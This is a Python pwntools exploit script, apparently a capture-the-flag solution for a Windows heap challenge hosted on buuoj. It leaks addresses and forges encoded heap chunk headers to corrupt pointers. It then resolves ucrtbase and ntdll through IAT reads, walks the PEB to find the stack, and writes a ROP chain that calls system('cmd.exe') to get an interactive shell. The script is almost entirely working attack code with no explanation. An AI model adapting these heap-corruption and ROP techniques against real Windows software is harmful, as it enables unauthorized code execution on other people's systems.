1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
| from pwn import *
context.log_level = 'debug' sh = remote('node3.buuoj.cn',26285)
sh.recvuntil('gift : ') exe_base = int(sh.recvuntil('\n',drop = True),16) - 0x1090 print 'exe_base=',hex(exe_base)
def add(size,content): sh.sendlineafter("What's your choice?","1") sh.sendlineafter('sword?',str(size)) sh.sendlineafter('it!',content)
def delete(index): sh.sendlineafter("What's your choice?","2") sh.sendlineafter('destroy?',str(index))
def edit(index,size,content): sh.sendlineafter("What's your choice?","3") sh.sendlineafter('polish?',str(index)) sh.sendlineafter('time?',str(size)) sh.sendlineafter('again :',content)
def show(index): sh.sendlineafter("What's your choice?","4") sh.sendlineafter('check?',str(index))
def backdoor(addr): sh.sendlineafter("What's your choice?","1337") sh.sendlineafter('target?',str(addr))
add(0x10,'a'*0x10) add(0x18,'b'*0x18) add(0x80,'c'*0x80) add(0x10,'d'*0x10) add(0x10,'e'*0x10)
show(1) sh.recvuntil('b'*0x18) header_data = u64(sh.recv(6).ljust(8,'\x00')) print 'header_data=',hex(header_data)
first_4_mask = (header_data & 0xFFFFFFFF) ^ 0x10010011 prev_size_mask = ((header_data >> 32) & 0xFFFF) ^ 0x4 print 'first_4_mask=',hex(first_4_mask) print 'prev_size_mask=',hex(prev_size_mask)
size = 0x4 flag = 0
smallTagIndex = flag ^ size fake_header1 = (smallTagIndex << 24) + (flag << 16) + size
fake_header1 = fake_header1 ^ first_4_mask prev_size = 0x3
prev_size ^= prev_size_mask fake_header1 = (0x8 << 56) + (prev_size << 32) + fake_header1 print 'fake_header1=',hex(fake_header1)
size = 0x11 flag = 1
smallTagIndex = flag ^ size fake_header2 = (smallTagIndex << 24) + (flag << 16) + size
fake_header2 = fake_header2 ^ first_4_mask prev_size = 0x4
prev_size ^= prev_size_mask fake_header2 = (0x8 << 56) + (prev_size << 32) + fake_header2 print 'fake_header2=',hex(fake_header2)
heap1_ptr_addr = exe_base + 0x4374 print 'heap1_ptr_addr=',hex(heap1_ptr_addr) edit(0,0x38,'a'*0x10 + p64(fake_header1) + p32(heap1_ptr_addr - 0x4) + p32(heap1_ptr_addr) + 'b'*0x10 + p64(fake_header2))
delete(2) puts_iat = exe_base + 0x30c8 HeapAlloc_iat = exe_base + 0x300C edit(1,0x10,p32(puts_iat) + p32(0) + p32(HeapAlloc_iat) + p32(heap1_ptr_addr))
show(1) sh.recvuntil('Show : ') puts_addr = u32(sh.recv(4)) ucrtbase = puts_addr - 0x95a30 system_addr = ucrtbase + 0xb8320 print 'system_addr=',hex(system_addr)
show(3) sh.recvuntil('Show : ') HeapAlloc_addr = u32(sh.recv(4)) ntdll_base = HeapAlloc_addr - 0x40120
Peb_ptr_addr = ntdll_base + 0x10ebac print 'ntdll_base=',hex(ntdll_base) print 'Peb_ptr_addr=',hex(Peb_ptr_addr) edit(4,0x4,p32(Peb_ptr_addr))
show(1) sh.recvuntil('Show : ') peb_base = u32(sh.recvuntil('\r',drop = True).ljust(4,'\x00')) - 0x21c stack_ptr_addr = peb_base + 0x3000 print 'peb_base=',hex(peb_base) print 'stack_ptr_addr=',hex(stack_ptr_addr) edit(4,0x4,p32(stack_ptr_addr))
show(1) sh.recvuntil('Show : ') stack_addr = u32(sh.recvuntil('\r',drop = True).ljust(4,'\x00')) rop_addr = stack_addr + 0xc0 print 'rop_addr=',hex(rop_addr) edit(4,0xC,p32(rop_addr) + 'cmd.exe\x00')
rop = p32(system_addr) + p32(0) + p32(heap1_ptr_addr + 0x4) edit(1,0xC,rop)
sh.sendlineafter("What's your choice?","5")
sh.interactive()
|